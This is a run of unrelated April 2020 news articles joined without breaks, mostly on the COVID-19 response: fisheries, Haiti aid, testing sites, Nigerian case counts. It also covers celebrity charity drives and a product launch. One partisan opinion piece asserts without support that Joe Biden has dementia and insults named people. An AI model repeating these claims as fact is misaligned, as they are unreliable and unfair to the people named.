mooring in the coming months due to the lack of a market and the consequent collapse of prices , as is happening in the Cantabrian Sea with anchovies. To understand the situation, it should be noted that in the Cantabrian fleet, after the mackerel campaign ended, the boats tried to return to fish their species of origin, but many of them, such as barnacles, hedgehogs and bivalves, were not in demand because of the closure of the HORECA channel, and there are few viable alternatives; Neither the conger eel, nor the octopus whose campaign has been lengthened by the increase in the annual quota, prior to COVID-19, is suitable for everyone, and the newly opened coastal anchovy, whose prices are forcing to fish, is also not a solution. Low cost in the Basque Country the kilo of anchovy has been paid these days at 0.04 , explain from Cepesca. The situation is also not improving in the high-altitude and high-altitude fleets. Segments such as the freezer shellfish fleet or surface longline, which have continued to fish, are in many cases opting for storage due to the difficulty of placing their product on the market. The situation of the shellfish freezer fleet in Huelva, which fishes in the waters of several African countries, serves as an example: at the moment it continues its activity, although the market is practically closed, since there are no public auctions taking place since closure of the restaurant market and, therefore, they are having to store frozen seafood, indicate the organizations. The forecast of a collapse in prices due to excess stored product when the restaurant market reopens, it will generate serious treasury problems and portends serious difficulties for the survival of the affected companies. These fleets continue, like the rest of the high-altitude fleet, in addition, with the increasingly pressing problem of crew relays, for which they urgently require detection tests. For its part, most of the fish markets have been open since the State of Alarm was decreed on March 14, although activity is clearly less than before the crisis. Most of the retail distributors 10,000 fishmongers and 25,000 workers also continue operating, despite having two deaths from coronavirus and registering 2% of those affected by COVID-19 and another 2% in quarantine due to close contact. with confirmed cases, and the difficulties both in supplying (access restrictions to certain markets and Mercas) and in assuming home deliveries, which have multiplied to almost 80%, the organizations indicate. Regarding prices, after two weeks of certain stability, a drop in certain products is perceived, some because they are closely associated with the HORECA channel, and others because sales in the last week have decreased in retail, due to Possibly, that more was bought at Easter, we are at the end of the month, and economic uncertainty begins to be felt as a schedule for de-escalation is not clear. As for the species most in demand by consumers are: hake, sea bass, sea bream, salmon, squid, anchovies, cuttlefish, cod and sole. Online orders, by phone and by WhatsApp, represent around 80% of the total and Bizum is prevailing as a new payment system, the organizations indicate. Thus, the supply of fresh and frozen fishery products to the population is confirmed for one more week, which will continue, even if the period of confinement decreed as a result of the COVID-19 crisis continues, added Fedepesca. 2016 by Maritime Herald Theme(s): Others. Haiti - COVID-19 : $16.1M in assistance from the United States The United States through the United States Agency for International Development (USAID) will provide $16.1 million to help Haiti respond to the Covid-19 epidemic. This funding will support the Haitian government's national Covid-19 response plan, led by the Ministry of Public Health, the Department of Civil Protection of the Ministry of the Interior, the Haitian intensive care hospital network and local organizations and international. US Ambassador Michele Sison accredited to Haiti said, "The American people have a long history of helping their neighbors both at home and abroad. The United States provides aid because we believe it's the right thing to do; we also provide assistance as a matter of pragmatism. If we can help countries contain outbreaks, we'll save lives abroad and at home in the United States." Through the United States Agency for International Development (USAID), and the Centers for Disease Control and Prevention (CDC), the United States will support : Purchasing and distributing handwashing kits to reach approximately 400,000 Haitians coupled with information on how to prevent the spread of COVID 19; Case management to strengthen clinical care while minimizing the risk of onwards transmission to others. CDC provides focus on critical case management including the use of supplemental oxygen and ventilators to assist those with difficulty breathing Infection prevention and control measures to reduce the risk of infections in health-care facilities. Laboratory strengthening to prepare laboratory systems for large-scale testing of COVID-19. Points-of-entry public health screening to help Haiti implement emergency plans to screen people arriving at the country's various points of entry, such as airports and land-border crossings. Launching a national handwashing campaign in health facilities, religious centers, marketplaces and public spaces in French and Creole. Amplifying the Haitian Government's COVID 19 messaging through national and local radio, sound-trucks, megaphone announcements, and visual materials posted in prominent areas that Haitians visit for essential supplies, to specifically address stigma, discrimination, misinformation, and myths; Rapid response to enhance with case-finding and event-based surveillance for COVID-19. USAID also helps countries train and support rapid-response teams to investigate cases and conduct contact tracing. The graduates of CDC's Field Epidemiology Training Program (FETP),"disease detectives," respond to health threats and formed a ready response force for COVID-19 case investigations. Health information systems strengthening to support surveillance efforts. CDC is partnering with Ministere de la Sante Publique et de la Population (MSPP) to use existing information systems alongside cellular technology for effective geolocation for contact tracking and tracing. Partners will be responsible for strengthening the DPC's coordination role by filling its needs for equipment, transportation, and communication. Considering that an infectious disease threatening a certain region can become a threat to all other regions, the United States calls on other donors to contribute to the global effort to combat Covid-19. HL/ HaitiLibre Published on 2020/04/27 | Source A new clothing pictorial of French brand Georges Rech, where actor Song Yoon-ah is a model, has been unveiled. Advertisement Song Yoon-ah has been a brand muse for six years since she first became friends with Georges Rech in 2014. Luxurious and elegant images met with practical and simple-design Georges Rech costumes, creating synergy and the effect of brand image enhancement. In the newly released pictorial, she incorporated costumes of various concepts with colorful poses, facial expressions and neat styling. Song Yoon-ah professionally completed the pictorial by leading the atmosphere on the set with her unique bright and sweet personality and years of modeling experience. Song Yoon-ah is preparing to meet with viewers after a recent filming of the jTBC drama "Graceful Friends". Syndicated and guest columns represent the personal views of the writers, not necessarily those of the editorial staff. The editorial department operates entirely independently of the news department and is not involved in newsroom operations. Filmmaker Omung Kumars love for animals is pretty evident from the beautiful paintings he has been making these days, which gives a striking impression of nature and wildlife. And to feed thousands of stray animals amid the lockdown, Kumar is auctioning these paintings on social media to raise funds for Animals Matter To Me (AMTM), an NGO working for animal welfare. Making one painting each day, Kumar, 53, is on a spree and is going to continue this till the lockdown is over. He tells us, I started this new series of 12 paintings for my next exhibition and after the lockdown, my wife Vanita and I were concerned for the stray animals in the Film City and across Mumbai. Thousands of animals are left to fend for themselves amid the lockdown. So we thought why not raise funds by auctioning these paintings. As one of the board members of the NGO, the filmmaker decided to do his bit for the animals. The organisation makes tons of food daily to feed stray animals and provide medical help to the stray animals across Mumbai, and also at the rehabilitation centre and cage less sanctuary with all kinds of domestic animals. Kumar raised Rs 10 lakh in a day by selling five of the paintings and donations, and the number keeps rising. Somebody is buying it for lakhs, somebody for Rs 2 lakh and some are also paying Rs 25,000. Some of them have already booked the artwork and after the lockdown, Im going to frame it and send it to them, says the Mary Kom director, whose paintings so far have been bought by actors Shama Sikander, Kashmera Shah, and filmmaker Boney Kapoor among others. As he sits down to create the artwork, he is always accompanied by his beautiful cats and one can see glimpses through his social media posts. My house is a house of cats. There are four in-house cats Gori, Chooti, Chotu and Piku. They sit on my sketches and dont allow me to work. There are around 14 cats outside that keep visiting us and some roam in the balcony, some on the terrace, or at the front yard, he shares. At the work front, Kumar is working on the four scripts but with so much uncertainty about the showbiz business, he says, Only when things open up, well be able to decide how to go forward. Everybodys dates will be a problem. People will think twice before spending and prefer to make projects for the OTT than theatres. Even the audience would think twice before going to the theatres. North Westchester Restorative Therapy and Nursing Center. WPIX Angelina Friedman, 101, was born on a boat in 1918, during the Spanish flu, and now she's survived COVID-19. Friedman's daughter, Joanne Merola, told WPIX that her mother was diagnosed with COVID-19 on March 21 and was cleared of the virus on April 20. "She has superhuman DNA," Merola said of her mother. Visit Insider's homepage for more stories. A 101-year-old woman who was born on a boat during the Spanish flu has survived COVID-19. Angelina Friedman, a resident at North Westchester Restorative Therapy and Nursing Center in New York state, was diagnosed with COVID-19 on March 21, while at the hospital for a minor, unrelated procedure. Her daughter, Joanne Merola, told WPIX that Friedman was cleared of the virus on April 20. "She is not human," Merola told WPIX of her mother's will to live. "She has superhuman DNA." Friedman was born in 1918, in the midst of the Spanish flu, on a ship traveling from Italy to New York City. She turns 102 this year and is the last sibling living from a family of 11 children. Merola said that following the COVID-19 diagnosis, her mother had a fever on and off for weeks, and by April 20, she was eating full meals and had plans to crochet. "They tell me she's doing great. She's up and about as much as possible. She's looking for wool to crochet with," Merola, who hasn't been able to see her mother since February because she injured her back, told WSET. She said Friedman was a "survivor," having also lived through miscarriages, sepsis, internal bleeding, and cancer in her lifetime. Read the original article on Insider Although tourism is one of the most affected sectors by the Covid-19 crisis, it will be one of the first to recover and it will play a key role in supporting the UAE's national economy, UAE's Minister of Economy Sultan bin Saeed Al Mansouri has said. He was participating in the Extraordinary Meeting of Ministers of Tourism of G20 countries, said a report. "Tourism is a flexible sector that will recover quickly from crises, as we have seen in previous global crises," Al Mansouri said. The meeting discussed the latest developments to the current coronavirus crisis and its effects on the tourism sector, as well as ways of supporting the sector by coordinating global efforts, protecting investors, travellers and workers, and increasing the sectors readiness and sustainabilit, news agency WAM reported. The meeting was remotely held under the chairmanship of Ahmed Al Khatib, Minister of Tourism of Saudi Arabia, which is hosting the meetings of the G20 in 2020. The meeting was attended by tourism ministers and sector representatives from G20 countries, along with representatives of international organisations, such as the World Tourism Organisation, the World Travel and Tourism Council, WTTC, and the Organisation for Economic Cooperation and Development, OECD. In his intervention, Al Mansouri stressed that the tourism sector is a key national sector, with a total GDP contribution of about 11.9 per cent, and creates some 745,000 jobs, according to the WTTCs data for 2019. "It is important to remember the achievements and contributions made by the tourism sector in our countries, as it is the sector that supports national companies and local communities around the world. This sector also helps governments to create a better life for their citizens and jobs for millions around the world. Tourism is one of the vital contributors to the national economies of many countries around the world," he added. "The UAE, since the start of the current crisis, has implemented many measures to reduce its effects, and is working around the clock to mitigate its social and economic repercussions. This was achieved through a national crisis management team that confronted the spread of the virus and supported our health infrastructure, as well as through the adoption of many precautionary measures and the construction of specialist testing centres within a few short days, which increased the number of tests and the rate of early detection of cases," Al Mansouri noted. Kingston Digital, the Flash memory affiliate of Kingston Technology Company, a world leader in memory products and technology solutions, has announced KC2500, its next generation M.2 NVMe PCIe SSD for desktop, workstations and high-performance computing (HPC) systems. KC2500 NVMe PCIe SSD delivers powerful performance using the latest Gen 3.0 x 4 controller and 96-layer 3D TLC NAND. With speeds 1 up to 3,500MB/s read and up to 2,900MB/s write, KC2500 combines outstanding performance and endurance that improves workflow for desktop, workstation and power users. KC2500 is available in capacities up to 2TB 2 housed in a compact M.2 2280 form factor that saves space for other components while allowing users to take advantage of PCIe speeds. The self-encrypting SSD supports a full-security suite for end-to-end data protection using AES-XTS 256-bit hardware-based encryption. It allows the usage of independent software vendors with TCG Opal 2.0 security management solutions such as Symantec, McAfee, WinMagic and others. KC2500 has built-in Microsoft eDrive support, a security storage specification for use with BitLocker. KC2500 sets a new bar for high-performance client PC usage, enabling those who demand speed and reliability to handle intensive workloads on desktops, workstations and for HPC applications, said Tony Hollingsbee, SSD business manager, Kingston EMEA. The compact M.2 form factor and broad range of security and encryption options provides greater flexibility for organizations who are looking to refresh their current systems, or for the power user looking to upgrade their current system with the best that NVMe PCIe SSDs can offer. KC2500 is currently available in 250GB, 500GB and 1TB capacities with 2TB 2 shipping soon. KC2500 is backed by a limited five-year warranty and free technical support. -- Tradearabia News Service Amidst the fear of community transmission of the COVID-19 in Kano State, the Presidential Task Force delegation arrived in Kano on Tuesday and met with Governor Abdullahi Ganduje, on the marching order of President Muhammadu Buhari. Upon arrival at the Africa House, Government House, Kano, Nasiru Gwarzo, who led the delegation, said President Muhammadu Buhari gave us marching order to be in Kano and find out what the state needs for containing the COVID-19 pandemic. Mr Gwarzo said, (The) President said we must do everything possible to support, reinforce and mobilise support, even beyond the nation. Your Excellency, on the Special Committee sent to Kano to work with the state government are experts in public health and other areas. He revealed that they were not in Kano to re-invent the wheel but we are reinforcing the wheel. We are here to support the Kano team in achieving the needs that are necessary for containing the global pandemic. In his remarks, Mr Ganduje thanked President Buhari for coming to the aid of the state at this critical time. He takes the right step and there is no doubt about this. Your coming to Kano will let you know the areas that we need all the necessary intervention. He reiterated his call for more testing centres in the state, adding that the testing centre is the nucleus of the fight against COVID-19. It is just like a heart in our body. We have to give you full cooperation. This is what we have been looking for. We need more testing centres in the state, and the extension of Isolation Centres is absolutely necessary, because there is this fear of community transmission. And, we need more sample collection areas. In all the 44 local governments, we must have multiple collection centres, he said. Mr Ganduje requested for the provision of more Personal Protection Equipment (PPEs) adding that life insurance is absolutely necessary. We are also providing palliative to our health workers, they also have families, who must also be supported. We also need optimum supply of all supplies to the state. We will work together day and night. After going round with you, we will come and see where we have gaps, the governor said. Also speaking the pioneer DG of NCDC, Abdulsalam Nasidi, said they are not in Kano to compete or to replace any existing structure but to reinforce already existing structures in the state, adding that we are going to work with your team, Your Excellency. We are here and we are going to work 24/7. We will always be available. He added that he was pleased to come home, Kano, when my people need me the most. We all know that Kano is not in denial at all. The state believes that the pandemic must be fought from all angles. According to Mr Nasidi, a Professor of Infectious Diseases, the Presidential Task Force has confidence in Mr Ganduje. We have the competence and understanding of the governor. What we need now is the cooperation of other people, like traditional institutions, scholars, community leaders, among others. On her part, the director, health services, Federal Ministry of Health, Bimpe Adebiyi, said she was impressed about how passionate the governor was in healthcare service delivery in the state, even before the COVID-19 pandemic. Testing at the COVID-19 testing centre, domiciled at Malam Aminu Kano Teaching Hospital, which hosts many Northern states suspected cases, has been suspended for days. Earlier, the DG of NCDC, Chikwe Ihekweazu, said a fact-finding team will visit the state to find out how the states ministry of health can be supported to improve on surveillance, case finding, contact tracing and isolation. Experts say testing capacity is a major step in fighting the spread of coronavirus. NEW HAVEN A large testing site for COVID-19 stands ready to greet its first patient this morning in the latest partnership between CVS and Abbott Laboratories that officials hope begins to fill a huge need. The lack of sufficient and convenient testing for the coronavirus continues to leave the country in the dark as to hotspots for the disease as it tries to get the pandemic under control by determining the extent of the spread and then containing it through self quarantining. As of Thursday, there were 671,425 positive cases for COVID-19 in the country with 33,286 fatalities. Those numbers for Connecticut are 971 fatalities and 23 for New Haven. The drive through testing site is at 60 Sargent Drive, the former Gateway Community College, where cars will line up in a continuous loop to be greeted by licensed health care providers from CVSs MinuteClinics, who will hand the patient a nasal swab that is then collected for testing. One of the major problems in New Haven is getting tests for people without cars or who cant apply because they lack internet access. The city and state have figured out a way to solve that. The New Haven Health Department has directed persons without internet access to call 203-946-4949 and they will get the help they need on the application. If they need a ride, residents are directed to dial 211 and the state will provide them with a taxi service through the Connecticut based taxi company M7 free of charge. The city said the taxi drivers will wear new personal protective equipment - masks and glovesfor each ride. Riders will also be given PPE before entering the vehicle. There will be a plexiglass shield separating the driver from the passenger. This ride service through 2-1-1 is also available for residents experiencing a disability. After each ride, the driver will clean and disinfect the vehicle. The operation will use the Abbott ID NOW COVID-19 rapid-response test, which recently received emergency use authorization from the U.S. Food and Drug Administration. The fact that New Haven would be the site in Connecticut was first announced in the New Haven Register. Abbott claims it can show positive results for the potentially deadly respiratory ailment in as little as five minutes and negative results in 13 minutes. Following the test, the patient heads to the Jordans Furniture parking lot across from the former college site to wait for the test results. Emmanuel Kolady, senior vice president of CVS, toured the large parking lot and medical tent that was set up in one weeks time through the efforts of the Connecticut National Guard, the state Department of Emergency Management/Homeland Security, the state Department of Transportation and local public safety personnel. He was on the site Thursday where CVS was conducting a dry run. He said the operation on Sargent Drive will be open seven days a week: Monday through Friday 9 a.m. to 6 p.m.; Saturday 10 a.m. to 5 p.m. and Sunday 10 a.m. to 4 p.m. He said they have the ability to expand capacity on the site if needed. CVS has already partnered with Abbott in Rhode Island, Massachusetts and Georgia and Kolady was in Michigan early Thursday in talks with that state. This testing site is the only one of its kind in Connecticut; the tests are free. Point of care testing is a big part of the containment strategy against this pandemic so in partnership with the federal, state and local government, CVS is able to bring point of care testing to this site ... where we would have the ability to test up to, and higher, than 750 patients a day, Kolady said. Patients are directed to go to CVS.com and register for an appointment to get the test. They will not be tested without going through this registration process. Patients, at least 18 years of age, answer questions on the form as to their symptoms and will get a time slot to come to the site if they meet criteria established by the Centers for Disease Control and Prevention. They must bring their confirmation email or text message from CVS, as well as proof of in-state residency and age to their appointment. They are also asked to bring their mobile phone in case the provider needs to reach them. Patients stay in their cars where their paperwork is checked and the swab test takes place. Kolady said the screening questions asked on the form make sure that CVS is prioritizing the test for the neediest patients. He said this includes first responders, law enforcement, healthcare professionals and people over age 65 with underlying conditions The swab is inserted approximately 1 inch into the nasal passage. In many cases, the patient will be asked to perform this swabbing themselves under the guidance of a MinuteClinic health care professional. The process is set up for same day testing, although the website says an appointment can be made as early as two days in advance. You will get a result before you drive off the site, Kolady promised. He said the total process will take about 30 minutes from the time the patient drives in. He said once the test results are back, the tester will walk over to the car and deliver the results by phone. Kolady said they will be pretty much standing right in front of their vehicle while communicating the results and instructions as to whats next. The CVS official said the demand for testing remains high in those states where they already have been operating for more than a week. He said it takes a lot of coordination with state and local officials to set up an operation and he thanked the many agencies in Connecticut that made it possible. Kolady said CVS already had an existing relationship with Abbott before this testing partnership. He said they expect to be at the Sargent Drive site until the demand is met. The test is not being offered at CVS pharmacies. New Haven Mayor Justin Elicker has said the CVS/Abbott site will be a significant asset. He expects the number of New Haven residents testing positive for COVID-19 will jump significantly once testing ramps up. Gov. Ned Lamont thanked CVS for coming to Connecticut. While a vaccine does not yet exist for this virus, one of the ways we can mitigate its impact is through increasing our testing capacity.Not only will this new testing site significantly increase the number of people being tested, but the speed at which we can get results will aid in our efforts to prevent further spread of the disease. Public-private relationships like this will only strengthen our state in the fight against the coronavirus. We appreciate the community outreach that CVS is doing here in Connecticut as their work is quite literally saving lives, Lamont said in a statement. mary.oleary@hearstmediact.com; 203-641-2577 The news about Joe Biden has taken on a completely surreal quality. For a long time, the headlines were about his declining mental state, which is becoming hard to ignore. This was bizarre enough in a presumptive Democrat candidate for the presidency. Then, Tara Reade dropped a bombshell, alleging that the same politician known for publicly groping and sniffing women and children had sexually assaulted her. The media assiduously ignored Reade's allegations as long as they could and eventually reported on them only to dismiss both Reade and the allegations. The media's worst nightmare came true, though, when corroborating evidence about Reade's allegations started piling up. It was easy enough to downplay corroboration when it came from her brother and a friend. Of course they'd side with her. But when a phone call from Reade's mother to The Larry King Show in 1993 a time contemporaneous with the event popped up and Mom was talking about her daughter's problems with a "prominent senator," things got dicey. The nightmare reached Stephen King proportions yesterday, when two women who knew Reade in the mid-1990s, not long after the alleged assault, reported that Reade had told them about the assault. While the fact that she told them shortly after she left Biden's office does not prove that he attacked her, it certainly proves that she's not creating the story out of whole cloth today for some nefarious purpose. By contrast, Christine Blasey Ford, a pro-abortion fanatic, first started telling the story about Brett Kavanaugh when he was touted as a possible Supreme Court nominee during the Bush presidency, decades after the event had allegedly happened. Lynda LaCasse, who intends to vote for Biden no matter what he did, was Reade's neighbor and friend in 1995 or 1996. She told Business Insider that she remembers Reade telling her about Biden's conduct two or three years before: LaCasse told Insider that in 1995 or 1996, Reade told her she had been assaulted by Biden. "I remember her saying, here was this person that she was working for and she idolized him," LaCasse said. "And he kind of put her up against a wall. And he put his hand up her skirt and he put his fingers inside her. She felt like she was assaulted, and she really didn't feel there was anything she could do." LaCasse said that she remembers Reade getting emotional as she told the story. "She was crying," she said. "She was upset. And the more she talked about it, the more she started crying. I remember saying that she needed to file a police report." LaCasse said she does not recall whether Reade supplied any other details, like the location of the alleged assault or anything Biden may have said. "I don't remember all the details," LaCasse said. "I remember the skirt. I remember the fingers. I remember she was devastated." As if that's not enough, Lorraine Sanchez, with whom Reade worked from 1994 to 1996, also heard from Reade that something happened in D.C.: "[Reade said] she had been sexually harassed by her former boss while she was in DC," Sanchez said, "and as a result of her voicing her concerns to her supervisors, she was let go, fired." Sanchez said she does not recall if Reade offered details about the sort of harassment she allegedly suffered, or if she named Biden. "What I do remember," Sanchez said, "is reassuring her that nothing like that would ever happen to her here in our office, that she was in a safe place, free from any sexual harassment." Michelle Goldberg, a New York Times writer known for using different standards for Biden and Kavanaugh, says the new evidence is a "nightmare" not because a woman suffered at Biden's hands, but because it hurts Biden's chances at the White House: This is the most persuasive corroborating evidence that has come out so far. What a nightmare. https://t.co/u4yPbEElaf Michelle Goldberg (@michelleinbklyn) April 27, 2020 Goldberg is frightened, but the Washington Post is still valiantly spinning, this time claiming that these new facts are merely partisan amplification of efforts to question Bidens behavior: Developments in allegations against Biden amplify efforts to question his behavior https://t.co/OWXvnKzvvN Post Politics (@postpolitics) April 28, 2020 What does amplify the problem is that someone remembered a video from last year in which Kamala Harris said she believes those Biden accusers who complained about unwanted touching. Scratch her off Biden's list of possible female choices for vice president. Maybe Biden can expand his explorations by looking at so-called transgender women. So far, though, Biden's response to the allegation has simply been to deny it in a formal statement. The media have refrained from asking him any questions about it. Meanwhile, Biden's latest campaign video gives more fuel to the speculation that he is so lost in dementia that he can no longer speak for himself. He doesnt even look like Jill Biden's ventriloquist dummy here because his lips aren't moving. Instead, he just looks like a dummy: Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) Medan, North Sumatra Tue, April 28 2020 The Navy intercepted 20 undocumented Indonesian migrant workers returning from Malaysia trying to sneak past border authorities through illegal routes in the early hours of the morning on Sunday. The migrant workers, comprising seven women and 13 men, were aboard a fishing vessel and were caught in Asahan regency, North Sumatra. An infant was also found in the vessel. The commander of Tanjung Balai Asahan Naval Base, Lt. Col. Dafris Datuk Syahrudin, said the undocumented migrant workers were currently being tested for COVID-19. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login A U.S. congressman is demanding answers from the U.S. Education Department, alleging department employees complained to his office about political interference in the awarding of a multimillion-dollar federal grant to the controversial IDEA charter school network. Rep. Mark Pocan, D-Wis., sent a letter to the department Monday asking for details and records related to the awarding of the grant. In an interview, Pocan said "three whistleblowers" told his office that professional staff evaluating applications for 2020 grants from the federal Charter School Program had rejected IDEA for new funding, deeming the network "high risk" because of how IDEA leaders previously spent federal funds. READ ALSO: After jet backlash, IDEA charter schools curbing more hard to defend spending But according to these whistleblowers, Pocan said, professional staff was overruled by political appointees who ordered the funding be awarded to IDEA. The identities of the whistleblowers were not revealed to The Washington Post, nor were the names of the political appointees. The Education Department did not respond to a request for comment. Neither did IDEA, which is a Texas-based charter school network with nearly 100 campuses in Texas and Louisiana serving nearly 53,000 students. Charter schools are publicly funded but privately operated. Earlier this month, the Education Department announced it was awarding millions of dollars in new grants to charter schools. IDEA was the top recipient, receiving $72 million over five years. IDEA had previously received more than $200 million in funding over the past decade through the program. But the network has been dogged by controversy. This month, IDEA chief executive Tom Torkelson resigned after publicly apologizing for "really dumb and unhelpful" plans that included leasing a private jet for millions of dollars and spending hundreds of thousands of dollars on San Antonio Spurs tickets. The Texas Monitor reported last month that Torkelson had flown on a private jet to Tampa to meet with DeVos to discuss "education philanthropy," records show. The Monitor reported he was the only passenger on a jet that can hold nine people. RELATED: Commentary: Private jets and Spurs tickets? Texas needs more charter school oversight Last November, the Education Department's inspector general criticized IDEA in an audit of data IDEA included in annual performance reviews it submitted to the federal government, required as part of the grants received from the federal Charter Schools Program. The inspector general concluded that IDEA Public Schools "did not provide complete and accurate information" for all performance measures on annual performance reports over three years and did not report any information for 84% of the performance measures on which it was required to report over two years. Still, IDEA had certified its annual performance reports were "true, complete and accurate." The audit also found IDEA "did not always spend grant funds in accordance with federal cost principles and its approved grant applications." IDEA acknowledged some of the findings, took issue with others, and agreed with all the recommendations from the inspector general to improve internal procedures. That inspector general report, together with the suggestion that political appointees pushed through more grant money, should spark an even deeper inspection of IDEA, Pocan said in an interview. "There needs to be an investigation," Pocan said. "This would be completely improper to take a program that has to have inspector general reports and a lot of media attention about bad decisions they've made, and then to get a grant that wasn't approved by the professional staff and instead given for political reasons." "That's an awful lot of money," he said. "DeVos has a lot of explaining to do." Pocan's letter says: (BEG ITAL)Therefore, I wish to know the following: 1) Was any 2020 awardee initially ruled ineligible by any Department staff? If so, which awardees and for what reasons? 2) If any 2020 awardee was initially ruled ineligible, but subsequently awarded a grant, was a political appointee involved in the change of decision in any manner? If so, whom? 3) How many instances of changes in CMO eligibility determinations have occurred in the past three years? I request responses to these questions, as well as every communication to or by a Department employee pertaining to the 2020 Charter School Grants to CMOs for the Replication and Expansion of High-Quality Charter Schools Competition, or any awardee, by May 8, 2020. The House Appropriations Committee must be aware of any improprieties within the Department, or this program, before considering fiscal year 2021 legislation. (END ITAL) In late February, DeVos testified before the House Appropriations Committee's subcommittee for labor, health and human services, education and related agencies, where she defended the Trump administration's proposed 2021 Education Department budget. She had several testy exchanges with Democratic leaders, including with Pocan about charter schools. Mumbai, April 28 : Actor Arjun Kapoor has come forward to support the cause of looking after stray animals during lockdown, by hosting a charity sale of his personal closet. Arjun's fans can choose from sunglasses and caps to shoes and T-shirts, and the proceeds will fund food and water for hungry strays. "I have been doing my best to support as many organisations I can in this crucial hour of need. Whilst we are battling with the pandemic, we must also not forget to be humane to the animals that need our help. Since the lockdown began, there's been a staggering increase in animals starving on streets because their usual sources of food -- like our street stalls and restaurants -- have closed," Arjuns said. Arjun's fans can choose from sunglasses and caps to shoes and T-shirts, and the proceeds will fund food and water for hungry strays. He added: "In my small way, I am supporting the efforts for World For All, which is providing food and water to stray animals during this lockdown and I'm putting up for sale some pieces from my closet in an online fundraiser. The sale proceeds will entirely go to them. So, I hope people will join me in supporting this important cause." Recently, Arjun helped raising funds for the families of 300 daily wage earners by going on a virtual date. The actor's virtual date happened through his sister Anshula Kapoor's online fundraising platform, Fankind, and raised enough funds to feed the families in question for a month. Earlier, the actor has pledged to the PM-CARES Fund, Maharashtra Chief Minister's Relief Fund, GiveIndia, The Wishing Factory and Bollywood's Federation of Western India Cine Employees (FWICE). On the acting front, Arjun will next be seen in Dibakar Banerjee's "Sandeep Aur Pinky Faraar". The film also stars Arjun's "Ishaqzaade" co-star Parineeti Chopra. Nigerias tally of confirmed COVID-19 cases rose to 1,337 on Monday, from 1, 273 reported on Sunday evening by the Nigeria Centre for Disease Control (NCDC). The agency in a tweet Monday night said 64 new cases were reported in five states. These are Lagos, Federal Capital Territory (FCT), Borno, Taraba and Gombe. It is the second day the number of confirmed cases would fall in the country. Also, additional 16 people recovered from the disease were discharged on Monday. The figure was released hours after President Muhammadu Buhari addressed the country on the new measures the government intends to adopt in containing the spread of the virus. A breakdown of the latest update shows that 34 of the new cases were reported in Lagos, 15 in FCT, Borno 11, while Taraba and Gombe have two apiece. Lagos remains the epicentre for the outbreak in Nigeria. NCDC said one case previously reported as a Lagos State case, is now reported as an FCT case. The total number of confirmed cases in Lagos is now at 764 and there are 157 in Abuja, the FCT. Kano State has not reported any case in the past five days as testing was was discontinued there last week. On Thursday, the health minister, Osagie Ehanire, said the Kano centre was temporarily closed because some staff of the laboratory were infected with COVID-19. He also comfirmed the centre ran short of some testing reagents. The NCDC said as of 11:30 pm. April 27, there were 1,337 confirmed cases of COVID-19 reported in Nigeria. Of these, 255 infected people have recovered and have been discharged and 40 deaths have been recorded in 32 states and the FCT. A breakdown of all the cases shows that Lagos State has so far reported 764 cases, followed by FCT 157, Kano 77, Borno 41, Gombe 37, Ogun 35, Osun 34, Katsina 30, Edo 25, Oyo -21, Kaduna 15, Akwa Ibom 12, Bauchi 14, Kwara 11, Sokoto 10, Ekiti, Taraba and Ondo 8, Delta 6, Rivers 6, Jigawa 2, Enugu 2, Niger 2, Abia 2, Zamfara 2,. Benue, Anambra, Adamawa, Plateau, Bayelsa, Ebonyi, Kebbi and Imo have one case each. Community transmission The country is already witnessing community transmission of the virus, and to contain the virus, Mr Buhari in his speech this evening mandated the use of face masks or covering for Nigerians especially in public. State Governments, corporate organisations and philanthropists are encouraged to support the production of cloth masks for citizens, he said. In addition to that, Mr Buhari maintained the restrictions on social and religious gatherings and urged Nigerians to adhere with physical distancing and personal hygiene. While relaxing the total lockdown in Ogun, Lagos and FCT, he introduced new containment measures which he said will protect lives while preserving livelihoods. Mr Buhari approved a phased and gradual easing of lockdown measures in FCT, Lagos and Ogun States effective from Monday, May, 4, but said there will be an overnight curfew from 8pm to 6am. However, the revised guidelines will not apply to Kano State. This is due to the uncertainty around the COVID-19 testing and contact tracing in the state. Mr Buhari instead placed the state on a total lockdown for two weeks, while an in-depth investigation is still ongoing. He said the government has also decided to deploy additional Federal Government manpower, material and technical resources to strengthen and support the State Governments efforts, with immediate effect. The Federal Government shall deploy all the necessary human, material and technical resources to support the State in controlling and containing the pandemic and preventing the risk of further spread to neighboring States, he added. By Express News Service THIRUVANANTHAPURAM: As many as 18 pregnant women from Kerala who are stranded in Saudi Arabia have approached the Supreme Court, seeking a directive to the Union Government to arrange their return to Kerala. The 18 women comprising a doctor and 17 nurses have approached the apex court through Pravasi Legal Cell president Jose Abraham. A petition in this regard has been filed before the SC. According to the petition, most of them had planned their travel to Kerala during March-April. They had also made arrangements for the same by either taking leave or resigning their jobs. However in the backdrop of the Covid-19 pandemic, international air services were cancelled, forcing them to stay back in Saudi. They were then left with no option but to approach the Supreme Court. With most of the government hospitals in Saudi Arabia getting converted into Covid treatment centres, they are finding it difficult to get requisite treatment there. They also sought to highlight the precarious financial situation that prevented them from approaching private hospitals in Saudi. Source: Xinhua| 2020-04-28 12:58:11|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- China and Afghanistan have pledged to jointly build the Belt and Road in order to benefit the two countries and beyond. Chinese State Councilor and Foreign Minister Wang Yi and acting Minister of Foreign Affairs of Afghanistan Mohammed Haneef Atmar made the pledge in a phone conversation on Monday, with both sides expressing willingness to strengthen their ties. Afghanistan admires China's progress in combating the COVID-19 epidemic and appreciates China's generous aid of medical supplies and sharing of experience in fighting the disease, Atmar said, adding Afghanistan will strive to protect Chinese nationals in the country. The Belt and Road Initiative has received a strong response from Afghanistan and benefited the two countries and other regional countries, Atmar said. Afghanistan is committed to jointly building the Belt and Road with China and lifting their strategic cooperative partnership to a new level, he added. Afghanistan stays committed to promoting its peace and reconciliation process and has formulated programs over a comprehensive ceasefire and the start of intra-Afghan negotiations, Atmar said. Afghanistan highly values China's constructive role and expects China to continuously work with other regional countries to push Taliban to reach a consensus with the Afghan government at an early date, he said. Afghanistan also devotes itself to trilateral cooperation with China and Pakistan, and hopes that China will continue to help Kabul to improve its relationship with Islamabad, Atmar said. For his part, Wang said China and Afghanistan have a tradition of understanding, trusting and supporting each other. As Afghanistan's neighbor and strategic cooperative partner, China will not be absent when Afghanistan is facing difficulty and will extend a helping hand without hesitation, Wang said. China has provided a batch of urgently needed anti-epidemic supplies to 